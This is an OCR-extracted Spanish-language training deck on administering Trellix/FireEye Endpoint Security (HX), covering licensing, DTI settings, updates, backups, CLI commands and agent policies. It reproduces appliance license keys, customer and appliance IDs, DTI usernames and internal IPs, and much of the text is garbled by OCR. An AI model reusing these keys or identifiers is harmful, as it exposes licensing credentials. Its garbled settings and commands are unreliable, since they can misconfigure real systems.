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Ponga atencidn a las siguientes instrucciones....

Sileqciar los N
teléfonos Banos

=mo
—=_Jo
cllmo

Silencie o apague sus Los banos se
teléfonos inteligentes encuentran
y otros dispositivos antes de la
electronicos para recepcion a su
minimizar las derecha.

distracciones durante
la presentacion.

TrelliX

Antes de comenzar

Salidas de
emergencia

Familiaricese con las
salidas de emergencia
Mas cercanas, ubicadas

justo antes de Ia

recepcion a su izquierda.

En caso de emergencia,

siga las senales de salida

y dirijase con calma a la
salida mas cercana.

Use the following WIFI:
SID: to_be_defined
Password: to_be_defined

Q&A

%

Tendremos una
sesion de
preguntasy
respuestas al
final de la
presentacion.
Por favor, guarde
Sus preguntas
hasta entonces.

Horarios

Se espera que la
sesion dure
aproximadament
e
3 horas con un
descanso de 30

min.
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Endpoint Security
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Despliegue

Checklist de administracion
Licenciamiento

DTI

Actualizaciones

Usuarios y roles

Backups

Alertas

Comandos

Administracion



Pespliegue: On-Premises

¥ Endpoint Security (HX)
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Despliegue: Cloud

¥Endpoint
Security (HX)
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nterfaces de administracion

TreliX ENDPOINT SECURITY

Login to HX02

criminal activity, system pe

HX-TRN > enable
HX-TRN # configure term
HX-TRN (config) # confi

Fireeye configuration w

Step 1l: Hostname? [HX-T
Step 2: Admin password
unchanged) ?

Step 3: Use DHCP on eth
Step 4: Enable NTP? [ye
Step 5: Enable IPv6? [n
Step 6: Enable remote a
[yes]

Step 7: Product license
Step 8: Security-conten
skip) ?
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Configuracion general del appliance
Licencias
DTI
Updates
Usuarios

Backups del appliance

DMZ appliance configuration

TreliX




Licencias del A
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Appliance License Settings

License

Key

LK2- FIREEYE_APPLIANCE-413H-FV42-3HU7-
6AGH-WGCC-BA43A-46AQ-17D3-P45H-40)2-
Q5)7-1854-KT45-QGP1-36]V-KS8M-VNA}-
2Q64 TKOC-2N5K-712M-AK21-62A1-L6QR-
36CR-K63H-D4CT-BJCM-2P|R-905L- G4AR-
3MCD-GPBT-BFDQ-G56R-BJER-LNGR-BK60-
A3DC-5RPE-RB|8-7GL1-TWHP-T7QU-QEFH-
6V93-JBC

LK2-CONTENT_UPDATES-413H-Fv42-3HUT-
6ABH-WGCC-BA3A-46A0-1703-P45P-5621)-
3C87-GLOF-Q5A1-B31Y-V2ZM1-PJNH-NY

LK2-AREEYE_SUPPORT-413H-Fv42-3HU7-
6ABH-WGCC-B43A-46A0-1703-P45P-5621-
3C87-GLOS-U41F]8YB-JKRP-7RYV-9T

LK2-HX_ADVANCED-413H-Fv42-3HU7-6A6H-

WGCC-B43A-46A0Q-17D3-P45R-40)12-QB7G-
LODP-PNXG-KVPO-DLXN-NYKW-6

ADD LICENSE

Feature Valid

FIREEYE_APPLIANCE

CONTENT_UPDATES +*

FIREEYE_SUPPORT v

HX_ADVANCED

ppliance

Admin > Appliance Settings

Description Active  Delete

Start date- 2019/01/20 (ok) + (]
End date: 2020/01/18 (ok)

Order Timestamp: 601371019 (2019/01/21 07:30:19)
Tied to appl ID: 865602768EE4 (ok)

Product: HX (ok)

Type: PROD (ok)

Tied to model: FireEyeHX1500V (ok)

Agreement: EULA (ok)

Customer ID: 462333

Customer Name: FireEye - Education Services
Appliance role: master

Start date: 2019/01/20 (ok)

End date- 2020/01/18 (ok)

Order Timestamp: 601371019 (2019/01/21 07-30:19)
Tied to appl ID: B65602768EE4 (ok)

Sharing: all (ok)

Start date- 2019/01/20 (ok)

End date: 2020/01/18 (ok)

Order Timestamp: 601371019 (2019/01/21 07:30:19)
Tied to appl ID: 865602768EE4 (ok)

Sharing: all (ok)

Start date- 2019/01/20 {ok)

End date: 2020/01/18 (ok)

Order Timestamp: 601371019 (2019/01/21 07:30:19)
Tied to appl ID: 865602768EE4 (ok)

Tied to product: HX (ok)

Review licenses to
show they are:

+ Valid
v Active




Tipos de licencia

License Key Description

FIREEYE_APPLIANCE | Necesario para registrar el sistema y utilizar las funciones del producto.
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FIREEYE_SUPPORT Permite que su sistema reciba actualizaciones de imagenes de software y las Ultimas
imagenes de invitados.

CONTENT_UPDATES | Permite que su sistema acceda a la red Dynamic Threat Intelligence (DTI), que
proporciona la inteligencia mas reciente sobre ciberataques avanzados y destinos de
devolucion de llamada de malware. Esto permite que los productos de Trellix
reconozcan de forma proactiva nuevas amenazasy bloqueen los ataques.

» La configuracién mas comun es la licencia de uso compartido bidireccional.

* Lalicencia de uso compartido unidireccional esta disponible para una
configuracién alternativa.

HX_ADVANCED Permite el acceso a las exhaustivas solicitudes de busqueda empresarial, las solicitudes
de adquisiciéon de datos y las solicitudes de puntos finales de adquisicion masiva de la
serie HX a través de la API. Esta licencia se conoce como licencia de licencia de
Endpoint Security Power.

Iy |
ICHiA




Aplicar Licencias

/111NN

Appliance License Settings
License Key

1 LK2-FIREEYE_APPLIANCE-413)-5U42-3JH5-6A6K-

PBE6-G439-CQHW-6LHO0-J5H4-0j2Q-5)71-854K-T45K-

712M-AK21-62A1-H70U-3CDH-L63H-A26D-5R6A-
HBRC-LG2T-82GD-1LNQ-TBG4-147A-W33D-1LP6-
UUE6-4146-0A3D-C5RP-8RBJ-87GL-0GQB-Y4VH-
8JHE-QLVT-P6PH

LK2-FIREEYE_SUPPORT-413}-5U42-3]H5-6A6K-PBE6-
J439-CQHW-6LH0-J5P5-62U3-C87G-LOT1-L1IMQ-
R6KL-GV33-LVOY-A

TrelliX

Feature

FIREEYE_APPLIANCE

FIREEYE_SUPPORT

Valid

v

v

Description Active  Delete

Start date: 2020/12/23 (ok) v [ ]
End date: 2021/12/20 (ok)

Order Timestamp: 662026448 (2020/12/23 08:14:08)
Tied to appl ID: 0CC47A6A4412 (ok)

Product: HX (ok)

Type: PROD (ok)

Agreement: EULA (ok)

Customer ID: 186664

Customer Name: FireEye - Philip Hutchison

Asset Type: Internal Fixed Asset (4)

Appliance role: master

Start date: 2020/12/23 (ok)

End date: 2021/12/20 (ok)

Order Timestamp: 662026450 (2020/12/23 08:14:10)
Tied to appl ID: 0CC47A6A4412 (ok)

Sharing: all (ok)

Para instalar licencias:

1. Click Admin > Appliance
Settings.

2. Click Appliance
Licenses.

3. Click Add License.

4. Pegue la clave de
licencia que obtuvo de
Trellix en el cuadro
Clave de licencia.




Licensing Service
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El servicio de licencias descarga
automaticamente sus licencias de la red hostname (config) # show fenet license
DT| y Ias instala fenet License Update Service

Licensing service: Administratively

Las licencias de los dispositivos enabled
fisicos estan vinculadas a la direccion , , | ,
. - Last time licensing service was

Macy al ID del dispositivo. contacted: 2020/04/03 10:50:04

. . . Last time licensing service was
Las licencias de Virtual Network contacted successfully: 2020/04/03
Security Server se obtienen 10:50:04 N .

. L. Last time keys from licensing service
mediante tokens y un coédigo de were applied: 2020/04/03 10:50:04

autenticacion.

TrelliX




License Issues: Sintomas
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Banner

Settings

Posibles correcciones
« Servicios de

Licencias
* Licencias mal
formadas
Web Ul Inaccesible  Licencias faltantes o
caducadas

500: Server Error

Oops! Something went wiong!

TrelliX




DTI Network: Confi
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Settings
Date and Time

User Accounts

DTI Network

pliance Licenses

Login Banner

DTI Network Settings

Select Content Source For Each Service

Download

Content Delivery Network (CDN)

Global Cache

Dynamic Threat Intelligence Metwork (DTI)

Virwal

Dynamic Threat Intelligence Network (DTI)

Content Source: Content Dellvery Network (CDN)

Host

cloud.fireeye.com

Content Source: CM

Host

10.230.10.2

guracion

Enroliment

Dynamic Threat Intelligence Network (DTI) hd
il

Dynamic Threat Intelligence Network (DTI) h

User name

fea-fffSimdjdSbjk

User name

fea-jv7sheymztxgn

Faude

Dynamic Threat Intelligence Network (DT hd
Upload

Dynamic Threat Intelligence Network (DTI) h

APPLY SETTINGS



DTI Services

—
~
~
N

DTI Services Description

Download Source El origen de las actualizaciones de software (sistema operativo y
contenido de seguridad)

Upload destination El destino de la telemetria del dispositivo y las estadisticas sanitizadas

AV-Suite El destino para almacenar los veredictos de objetos maliciososy no
maliciosos en el servicio de deteccion basado en la nube de AV-Suite

Helix El destino de las estadisticas de estado de los dispositivos habilitados
para Helix

Virtual El destino de los servicios de dispositivos virtuales, como las

renovaciones de tokens de licencia y el sistema

TrelliX




Fuente de contenido DT
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Settings

Email
CM Peering

DTI Network

TreliX

DTl Network Settings

Select Content Source For Each Service

Download Enrcliment
Content Delivery Metwork (CDN) b LOCAL
Global Cache il

Dynamic Threat Intelligence Metwork (DT

Virtua

Dynamic Threat Intelligence Metwork (DT %

Dynamic Threat Intelligence




Actualizacion de contenido de seguridad
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Content Source: Content Dellvery Network (CDN)

Host Port User name . .
Security Content Settings
doud fireeye.com 443 fev-aylpbrdagfp!
Updated at 2022/09/12 12:46:57
Update Frequency
Content Source: Dynamlc Threat Intelligence Network (DTI) @ Default: Update Every| 15 ~ |minutes
Host Port User name Custom:Update| Dailly v at: 00 ~ || 15
staticcloud fireeye.com 443 fev-aylpbrdagfp
Service Type Notlfy Verslon Scheduled Last Update TimeStamp (UTC) Settings
Securlty Contents |:| 1300.112 For every 15 minutes 2022/09/12 13:46:57 2022-09-12 12:10:00 Auto update enabled: true

Update Frequency: every 15 minutes #

TreliX




Revision de la configuracion de DTI (Fenet
settings)

DTI Network Set[[ngs host-4£9836 (config) # show fenet dti configuration

DTI CLIENT CONFIGURATIONS:

Content Source: APPLIANCE SETTINGS:

Content Delivery Network (CDN) ,
Appliance ID : 86406B7B9D85

Hostname: ACTIVE SETTINGS:
cloud fireeye.com .
Mode : online
Download source : CDN (fev-bhmeehnhOw8ed@cloud.
Port: Upload destination : DTI (fev-bhmeehnhOw8edQup-
cloud.fireeye.com)
Mil service : DTI (fev-bhmeehnhOw8ed@mil-
cloud.fireeye.com)
Username: Faude service : DTI
Virtual service : DTI
AVSuite service : DTI
Helix service : DTI

443

fev-bhmeehnhOw8ed@unity.
fev-bhmeehnhOw8ed@cloud.
fev-bhmeehnhOw8ed@unity.
fev-bhmeehnhOw8ed@helix.

fev-bhmeshnhOw8ed

(
(
(
(

ACTIVE SETTINGS FOR HTTP PROXY:

TrelliX




Problemas comunes de DTI
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1. Problema de conexidén.

Accidn: Confirme la conexidn con el servicio DTl en la nube
Mmediante telnet.

4f98-TRN (config) # telnet cloud.fireeye.com 443

Trying 162.159.246.125...

Connected to cloud.fireeye.com.
Escape character is 'A]'.

2. Problema de autenticacion.

Accidn: Confirmar credenciales.
TrelliX
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Configuracion de Fenet: comandos
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Cambiar la direccién del servicio Establecer el tipo de servidor
predeterminado para el servicio
fenet dti source type DTl address <address you are using> port 443 (CDN o DTI)

fenet dti source default DTI

fenet dti upload destination type DTl address up-<address you are using> port 443
fenet dti upload destination default DTI

fenet dti enrollment service type DTl address <address you are using> port 443
fenet dti enrollment service default DTI

fenet dti mil service type DTl address mil-<address you are using> port 443
fenet dti mil service default DTI

fenet dti virtual service type DTl address <address you are using> port 443
fenet dti virtual service default DTI

TrelliX




Fuentes de actualizacion del A
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Abo ut | Current Time: 10/14/2022 02:08:23 Etc/UTC Trellix Services VPN: (not connected)

Summary Supparted Features System Health Deployment Check

Appliance Upgrade C'

(® om Local URL

Resource Installed Version
Security Content 1309.202
Appliance Image 9.1.3.971290

TreliX

Log Manager Upgrade

Available Version Install Date

- 2022/10/1401:45:03

9.1.3.971290 2022/09/21 02:05:03

ppliance

DTI Server: cloud fireeye com

Status Action

No new security updates available )

No system software update found &
Check




Proceso de actualizaciéon

/111NN

{) ENDPOINT SECURITY BACK APPLIANCE SETTINGS ABOUT fireeye-4f9836 | &

Abo ut Current Time: 09/21/2020 18:14:23 Erc/UTC | FireEye Services VPN: (not connected)

Upgrade
Appliance Upgrade
( -::I DTl Local DTI Server: doud.fireeye.com

Resource Installed Version Latest Version Install Date Status

Security Content 427101 2020/09/21 17:42:02 No new security updates available

Appliance Image 4.9.0.879876 501917137 2019/11/18 11:35:12 05 image downloaded successfully: image-hx_5.0.1.img (&)

TrelliX




Tipos de actualizaciéon
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Update Frequency | Description
Type

Security Cada hora
Content

Appliance Una o dos
Images veces al
ano

TrelliX

Las actualizaciones de contenido de seguridad son

fundamentales para garantizar que el dispositivo Trellix esté al
tanto de las amenazas mas recientes.

La imagen del dispositivo contiene el sistema operativo del
dispositivo y NO contiene las imagenes de invitado utilizadas para
detectar malware. Las actualizaciones de la imagen del
dispositivo contienen mejoras importantes y correcciones de
errores en el sistema operativo.




El rol de las particiones en las actualizaciones

Paso1- Descargar la
actualizacién

Descargar
paquetealapartl

1 2
ACTIVE INACTIVE
ver 2.0 ver 1.0

TreliX

Paso 2 - Actualizacién
en curso

S3>53>53>>

Extract
Package

1 2
ACTIVE INACTIVE
ver 2.0 ver 3.0

Paso 3 - Aplicar la
actualizacién

Mark for next
boot

1 2
INACTIVE ACTIVE
ver 2.0 ver 3.0




Roles

Roles mas comunes:

MODULES

Host Sets

Appliance Settings

Storytime

TrelliX

Analyst

Host Sets

Data Acquisition Scripts

Appliance Settings

Alert Settings
Triage Settings

Storytime

Investigator

Admin

Host Sets

High Value Hosts

Policies

Agent Versions
Agent Upgrade

Containment Settings

Aging Settings
Appliance Settings

Alert Settings
Triage Settings

Storytime

fl
i
Acquisition Settings
Data Acquisition Scripts
Disk Utilization Limits




Cuentas de usuario

Settings Accounts
Add/remaove users or reset account passwaords below.
Date and Time NOTE: When setting up for the first time, please update passwords for the built-in ‘admin’, ‘monitor’, ‘analyst', ‘operator’ and ‘auditor' accounts. These accounts cannot be removed.
Date and 2
User Accounts < Add MNew User Update User

DTI Network
. ¢ User Name Role User Name Role
Notifications

Net Monitor v New Password

Network

Create Password

i irm Passwor
ance Licenses Confirm Password
Login o Confirm Password

ogin Banne

Account Status

ADD USER

TreliX




‘Opciones de autenticacion remota

LDAP
RADIUS
TACACS
IAM/SSO
CAC

TreliX



Tipos de copia de seguridad

Perfiles de copia de seguridad

Configuracion (config) y base de datos
(fedb)

Configuracion (config)
Base de datos (fedb)
Copia de seguridad completa

TreliX




Copia de seguridad de la base de datos

/7011

Setti ngs Backup And Restore
Backup Profiles

Date and Time

Backup Profile Backup Location Remote URL or Server Location File Name Prefix Encrypt?  Estimate Backup Action

config Local - m BACKUP
config+FEDB Local v m BACKUP

Notifications

fedb Local - m BACKUP

Appliance Backup & ful m BACKUP

Restore

Local

ance Licenses UsB
Remote

Upload Backup File

TreliX




Restauracion de base de datos

Appliance Backup & ful Local -
Restore

o I

ance Licenses

Upload Backup File

(Please use USE backup/restore for large back

CHOOSE FILE

Restore Available Backups

Backup Created Exclude Network
Backup Name (Profile) Location Date Product Profile to Restore  Settings? Delete Download Restore
ar - Fig. 3 aw3- 273171 4-0M 0 fah o, 2022-12-14 X = 7
config:MAS-Config:9.1.3-2103-20221214-003026 febkp local 202212 MAS confiz o i & m
(config)
Remote URL or SCP: Config w m

TrelliX




Notificaciones de alertas
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Settings Notification Settings

SUMMARY SMTP HTTP

Date and Time

User Accounts ) -
Select when and how to receive notifications.

DTl Networ
Notifications Protocol SMTP HTTP

Network
Event Type Globa

Certificates/Keys
- Exploit Blocked

Appliance Licenses
Exploit Detected

Login Banner
Generic Alert
Indicator Executed
Indicator Presence

TreliX




Configuracién de notificaciones SMTP

/7011

Date and Time

User Ac
DTI Ne
Notifications
Network
Certifi

lance Licenses

Login Banner

TreliX

SUMMARY SMTP HTTP
Define protocol settings.
Smitp Setu . L
Demain| Ad d N eW Rec I D I ent s|c.tralning.fireeye.com
sje.try
Name
admin
SMTP 54 A
Account
webi
SMTP 54 A
admi
25
(+) Enabled
) Re [¥) alerts Update v
Return default v APPLY SETTINGS
do-ni
All Events v
Format
) default v
View and add
default v
SMTP List
[ZYT<TNNN  ADD NEW RECIPIENT w L O
U Name Enabled Emall Address Edit
O O g

analysts [ ]

analysts@sjc.training fireeye.com
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Comandos CLI de Helix

Command Description

helix mode (cloud)

Habilita el modo Helix; habilita automaticamente el cliente
HelixConnect.

show helix

Muestra la configuraciéon de Trellix Helix.

show helixconnect

Muestra informacion sobre la conexion.

show commbroker status

Muestra el estado de la conexién entre el dispositivo de seguridad de
red y el médulo Comm Broker.

show commbroker health

Muestra los estados de mantenimiento del remitente del agente de
comunicaciones.

show tapsender status

Muestra el estado de la conexién entre el dispositivo y la VPC de Helix.

show tapsender health

Muestra los estados de mantenimiento del médulo Recopilador de
pruebas.

helixconnect troubleshoot

Comprueba la conexidon con la URL de registro, el dominio y el nimero
de puerto.




Resumen de comandos [1/2]
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show version

Description

Muestra informacién sobre la version instalada de la imagen de
arranque del dispositivo Trellix, los parches recientes, el estado de
DTI, etc.

show licenses

Muestra la informacion de la licencia del dispositivo.

license install

Instala una nueva licencia.

license delete

Elimina una licencia actual.

show fenet license

Muestra informacidén sobre el servicio y la actividad de
actualizacion de licencias.

fenet license update enable

Habilita la funcién de actualizacion de licencia.

fenet license update force

Obliga a actualizar las licencias.

TrelliX




Resumen de comandos [2/2]
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Command Description

show fenet dti configuration Muestra informacion sobre la configuracién del
servidor DTI en un dispositivo.

fenet dti source type DTI address Actualiza la direccién del servicio de origen de

<address you are using> port 443 descarga de fenet* en el dispositivo.

fenet dti source default <DTI|CDN> Establece el tipo de servidor predeterminado para
el servicio de origen de descarga* en un
dispositivo.

write memory Guarda los cambios de configuracion.

telnet Comprueba la conectividad con la nube DTI.

cloud.fireeye.com 443

TrelliX
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Peso ligero @
. s
Proporciona cobertura para &
Windows, Mac y Linux

agent_config.json  agent installer

Registra eventos del sistema en
una base de datos de eventos

local

INnicia la comunicacion con el n n ﬂ ﬂ ﬂ

controlador

TreliX




Politicas de agentes
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X ENDPOINT SECURITY DASHBOARD ALERTS HOSTS ACQUISITIONS RULES ENTERPRISE SEARCH ADMIN MODULES

POIiCieS CREATE CUSTOM POLICY

Showing 5 Policies = Policy Details
Name: Agent Default policy

o
Priority 4 | Policy Name s i:i“”s' First Created 4 | Last Modified

Agent Default policy

Host Sets Applied
Enabled 127 days ago 80 days ago

Policy Categories
Enabled 128 days ago 80 days ago
Enabled 155 days ago 137 days ago
Enabled 161 days ago

Enabled 225 days ago

TrelliX




Configuracién del servidor

/111NN

Configurations

Server Address

Enter server address of appliance(s)

10.250.1.109

192.20.16.101

Enable Provisioning

Enable server(s) to provision agents

Server Name Enable Provisioning

Primary Server €

Server Address




Politicas: Agent Polling

/111NN

Configurations

Seconds

Poll agents: - : 0

Seconds

Fastpoll agents: - - 20

Job Settings

Seconds

Request sysinfo: : - : 0

Agent Settings

Poll for agent config:




Tipos de polling

Full

Fastpoll

Indicator

Agent Configuration

Malware Detection Indicators

TreliX

Un poll completo se utiliza para transferir informacioény
solicitudes de tareas desde el servidor de Endpoint Security a
los agentes instalados en los hosts.

Fastpoll se utiliza para determinar rapidamente si se requiere
un sondeo completo.

Un poll de indicadores se utiliza para transferir los indicadores
mMas recientes del servidor de Endpoint Security a los agentes.

Se utiliza un poll de archivo de configuracion para transferir la
configuracién de agente mas reciente desde el servidor de

Endpoint Security
servidor a los agentes.
Se utiliza un poll de actualizaciéon de definiciones de malware
para transferir las definiciones de malware mas recientes al
agente.




Politicas: Proxy Settings

/111NN

Proxy

Allow the Agent to talk to HX Server via a Web/HTTP Proxy

Proxy . o

Proxy Settings

Use system proxy settings (default) or define your own

Proxy Setings: Operating System (default)

TrelliX




Politicas: Removal Protection
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Removal Protection @

Password required to uninstall an agent from a host

Removal Protection (]

Show Password

Minimum & Characters
Removal Protection

TrelliX




Politicas: Tamper Protection
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Tamper Protection

A Warning: Disabling tamper protection features is not recommended.

Disabling tamper protection features may allow users with administrative rights, malicious actors, and/or malware to disable or weaken endpoint protection.

Deny local admin permission to Stop and Restart agent /—.\I o
/4

service.

Protect select agent processes from injection, inspection,
and termination.

Prevent unauthorized users and processes from tampering
with Trellix agent files and folders.

Perform strict certificate validation on agent binaries

Detect unsigned image loads

WinTrust Verification

TrelliX




Tamper Protection: Verificacion WinTrust

WinTrust Verification

Verify SIP Provider

Verify Trust Provider

Verify Binary

TrelliX



Policies: Resource Use
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Resource Use

Acquisition CPU usage limit 100

Minimum of 10%

Auto Triage i D O
Q ®

storage mode

Event storage: 500 Conventional (Default)

10-500MB

Priority Scheduling:

Priority scheduling:

Concurrent Host Limit

Concurrent Host Limit .

Limit concurrent tasks to:

TrelliX




Policies: Malware Protection
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Malware Detection

Windows mac0S Linux

T
Signature and Heuristic Detection I\ON /l (@] Cloud Lookup @

. T
MalwareGuard Detection ¥ .I (1]
Malware Detection Options

Scan Network Files
Malware Protection
@ Scan on file read only

Scan on file write only

Scan on both file read and write

Malware Definition Updates

Seconds

Update Malware Definition Rules: : : 0

Malware Definition Source: Internet (default) (@]

TrelliX




Malware Protection: Policy Exclusions
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Malware Detection

Windows ~ macD5  Linux

‘Signature and Heuristic Detection o Cloud Lookup @

MalwareGuard Detection
Marware Detection Options

Scan Network Filas
(@) scan o e sy

Scan on file write anly

Maiware Protection

Scan on both file read and write

Malware Definition Updates

Update Mabware Definition Rules: .

Maheare Definition Source: ° Policy Exclusions

Content Backup

Ensbie A Contenk Bacap L) Exclude processes, files, folders and MD5 hashes from real-time malware scanning

Content Excusion List €

Enter Content Range
Exclude processes from malware scanning

Policy Exciusions

Excude processes,files, folders and MDS ashes from reakame =

Excude pracesses fram matware scanning
Exclude files or folders from malware scanning

Exclude files or folders from malware scanning

Exclude hashes from malware scanning

Exclude hashes from malware scanning

TrelliX




Malware Protection: Definiciones
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Malware Detection

Windows macOs Linux

‘Signature and Heuristc Detection (] Cloud Lookup @

MalwareGUard Detection

o ] Malware Definition Updates

Scan Network Files
Malware Protection

(@) e on e read oy

Scan on file wrza orly

Seconds

Scan on both flle read and write
Malware Definition Updates

Update Malware Definition Rules: : : 0

Hours Mrutes Seconds

Update Maware Definftion Rules: 4 | o | o

Malware Definition Source: Internet (default) L] w ¢
e Sk Malware Definition Source: Internet (default) -~ | (1]

Enable AV Content Backup (]

Content Exciusion List & PD"C!' Exclusions
Enter Contertt Range HX O ﬁl:gr

Internet (default)

Ty Exclude processes, files, folders and RS S malware scanning )

Exclude processes, flles, foiders and MDS hashes from reahime malware scanning )

Exclude processes from matware scanning
Exclude files or folders from malwere scanning

Exciude hashes from malware scanning

TrelliX




Malware Protection: Quarantine
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TrelliX

Malware Protection

d and write:

Manware DeTniTion Updates

Hours e Seconds

Update Mahware Definition Rules: a (] o

Mialware Definition Source:

Content Backup

Enable AV Content Backup ( ]

Content Exciusion List €

Enter Coment Range

Policy Exclusions

Exoude processes files folders and MDS hashes from reat-ime malware scannin,

Excludle processes from mahware scanning

Exciude flles or folders from malware scanning

Exoude nasnes from matware scanning

MalwareGuard Comtent Upate

MilwareGuard Content Download Timeout:

Quarantine

,

‘sgnature and Heuristic Quarartine ()

MishwareGuard Quarantine ( ]

Quarantine

Signature and Heuristic Quarantine .

MalwareGuard Quarantine .

Quarantine Actlons

Clean Infection From Files (Once Quarantined)
Remove Malware Traces (Once Quarantined)
Notify The User On The Host When A File Has Been Quarantined Or Cleaned




Policies: Malware Scans
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Malware Scans

Scan on Install

Scheduled Scans

Scheduled S5can €

Scan Name Time or Event Depth

Mo Scheduled Scans....

Create Scan

Scan Settings e
DailyScan

User Canceled 5cans

User Paused 5cans .

Scan will have the following depth

@ Full Scan (1]

Quick Scan e

Scan Settings

Minutes Seconds

Pause duration: : 0 0 o
Active Memory e

Time(s)
Pause limit (per scan): 10 0

TrelliX




Policies: Exploit Guard

7/ 011V

Explolt Guard Protection

TrelliX

Exploit Guard

. 'd ~
Exploit Guard (oN ./ [:]
Explolt Guard Options

Enable Exploit Guard Protection On Windows Servers

Perform the following prevention actions when an exploit has been detected
Prevent Known Suspicious Behaviors
Terminate The Exploited Process
Quarantine Malicious Artifacts

Notify The User On The Host When An Exploit Has Been Blocked

Policy Excluslons
Exclude processes, files, folders and MD5 hashes from Exploit Guard @

Exclude monitered applications from Exploit Guard

Exclude files and folders from Exploit Guard

Exclude MD5 hashes from Exploit Guard




Quarantine

\

/77011

Quarantine Quarantine

Quarantined Files Aging RESET TO DEFAULTS

Delete files from quarantine that are older than: 90

TrelliX




Policies: Real-Time Indicator Detection (RTID)
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Real-Time Indicator Detection is turned (

Real-Time Indicator Detection
Capture UDP Events

Capture Network Connection Events
Capture DNS Events

Capture URL Events

Indicator Updates

seconds

Update indicators every: 0

Linux RTE Sensor health

Linux RTE Sensor health 9091

Exclude Flles or Folders

Trellix recommends keeping less than 100 exclusions for optimal performance.
Note: Only the first 100 exclusions will be read on MacOS.

Exclude files or folders from Real-Time Indicator Detection

Exclude Processes from Real-time Indicator Detection

Exclude Processes from Real-time Indicator Detection




Policies: Agent Logging
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Host Remediation Agent -

Agent Logging

Quarantine —
Agent Logging (Lom .j ) ©

Select a log level to determine the type of messages logged. Messages from lower log levels are included with each selection.

Agent log level: l Information (default) v l @ What are the Log Levels?

Agent Health - 1.2.2 —_—————
Log storage: | 50000 |Even15 1]

10,000 - 5,000,000

Separate log per module & . [:]

Component Logging

Enable logging for specific components. This will not affect Agent Logging settings.

Component Enable Logging

Calls to libuv read and write

S5L functions

Internal queue usage

Job-related




Policies: Agent Upgrades

/111NN

Create Upgrade

¥ ENDPOINT SECU; et 1

1. Select hosts to update
Age n t U p' 2 Include Hosts Exclude Hosts Upgrade To CREATE UPGRADE

- - Windows "2 353112
Ste AdvancedHx

disablerealtime

- ToUpgrad

Upgrade32To3« SR i

PEr All Hosts.
EnableRealTime

ManualUpgrade

CTF Systems
Module Demo

CyberGenesis

(=]
e
e
CGCorp.
(=]
e
e

Troubleshooting

disablerealtime

Include host sets Exclude host sets

Selected hosts Eligible for upgrade

Troubleshooting

2_Specify installer location

Locatlon: Default SET LOCATION,

3. Set end date 4

End Time: Never SET END TIME




Agent Management - Enterprise Installation
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o
Priority ¢ | Policy Name s itl':““ = First Created $ | Last Modified s | Actions
_ i

1 Enabled 5 days ago 5 days ago

Version Uploaded Platform

33460 20021-05-28 16:48-327 Windows

33.46.0 2021-05-28 16:48:277 Mac OS X

TrelliX



Custom Policies
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Edit Policy

TrelliX

Policy Mame
Name: Malware and Exploit Protect

Policy Description

Description: Exploit Guard, Malware Guard, all enabled

Configurations

Exploit Guard Protection

Exploit Guard

Exploit Guard I(ou .j | ©

Exploit Guard Optlons

Perform the following prevention actions when an exploit has been detected
Prevent Known Suspicious Behaviors
Terminate The Exploited Process

Notify The User On The Host When An Exploit Has Been Blocked

Policy Exclusions

Exploit Guard Protection
Malware Protection

Malware Scans

Polling

Proxy

Real-Time Indicator Detection
Removal Prot

Resource




Compatibilidad del agente

AGENT: V35

Windows Audit | Real Time IOC | ExploitGuard | Malware Protection | MalwareGuard IA Modules
Windows 7 v v v v v v
Windows 8, 8.1 v v v v v v
Windows 10 v ¥ v v v v
Windows 11 v v v v v v
Server 2008R2 v v v v v v
Server 2012 & 2012R2 v v v v v v
Server 2016 v v v v v v
Server 2019 v v v v v v
Server 2022 v v v v v v
macOS$ Avudit | Real Time IOC | ExploitGuard | Malware Protection | MalwareGuard IA Modules
macOS5S11.0-11.6 v v X v X v
macOS 12.0-12.6 v v X v X v
macOs5 13.0 v v X v X v
Linux Avudit | Real Time IOC | ExploitGuard | Malware Protection | MalwareGuard IA Modules
RHEL 4.10, 7.2-7.9, 8.0-8.6 v v X v X v
CentQS 6.10,7.2-7.9,8.0-8.5 v v X v X v
Rocky Linux 8.4 — 8.5 v v X v X v
Ubuntu 14.04, 16.04, 18.0.4, 19.04, 20.04, 22.04 v v X v X v
SUSE Enterprise Linux Server v v X v X v

12 SP4-5P5, 15 GA, SP1 - SP3

OpenSUSE Legp 15.1, 15.2, 15.3 v v X v X v
Amazon AMI 2018.3, Amazon Linux 2 v v X v X v
Oracle Linux 6.10,7.7-7.9,8.0- 8.4 v v X v X v




Host Management
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¥ ENDPOINT SECURITY DASHEOARD ALERTS ACQUISITIONS RULES ENTERPRISE SEARCH ADMIN MODULES

All Hosts

Host set Containment state
FILTER BY: All Al

19

SORT BY: @ Oldest Sysinfo Most recent Sysinfo

0 hosts selected 101-1190f 119

win10-544285 Windows 10 Pro WORKGROUP Agent Version: 34.28.6
10.230.202.34 Pacific Standard Time SYSTEM Last Sysinfo: 2022-12-07 13:44:27Z

win10-305279 Windows 10 Pro WORKGROUP Agent Version: 34.28.6 1 ALERT
10.230.202.29 Pacific Standard Time SYSTEM Last Sysinfo: 2022-12-09 14:34:527 12 days ago

CG-04 Windows 7 Enterprise WORKGROUP Agent Version: 34.28.6
10.230.200.210 Pacific Standard Time SYSTEM Last Sysinfo: 2022-12-13 22:32:08Z

CG-05 Windows 7 Enterprise WORKGROUP Agent Version: 34.28.6 2 ALERTS
10.230.200.215 Pacific Standard Time SYSTEM Last Sysinfo: 2022-12-13 22:34:13Z 28 days ago

TrelliX




Host Details
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= server-db windows Server 2019 Sta... CYBERGENESIS  Agent Version: 34286
10.230.203.203 Central Standard Time SYSTEM Last Sysinfo: 2022-08-12 23:11:25Z

IP Address 10.230.203.203 USER
fe80:-B4c3-edc8:b8e1:85ca
127001

= Primary User SYSTEM

Registered Org Organization
Client IP 10.230.203.203

Registered Owner Owner
Agent ID xHdOFxo3vUkb7RbKSHG1AP B

Agent Verslon 34286 NETWORK ADAPTERS

0s Windows Server 2019 Standard Red Hat VirtlO Ethernet Adapter

Patch Subnet Mask 255.2552520

IP Address 10.230.203.203

Kernel feB0::84c3:edc8:bBe1:85ca

KernelServices Stat Loaded
e B Name {3AACTC24 D7B0-4462-8F23-F386D4128247}

Bit Level 64-bit MAC £a-80-dc-90-91-e9

Domailn CYBERGENESIS DHCP Add

E i ?
Active Directory: Domaln Components cybergenesis, local IP Gateway Add 10.230.203.354

Active Directory: Organizational Units Lease Obtalned Date

Active Directory: Common Names Computers, SERVER-DB Lease Expiry Date

Timezone Central Standard Time Software Loopback Interface 1

GMT Offset UTC-6:00 Subnet Mask




Host Sets

/111NN

Host Sets

ASSIGN POLICIES TO HOST,
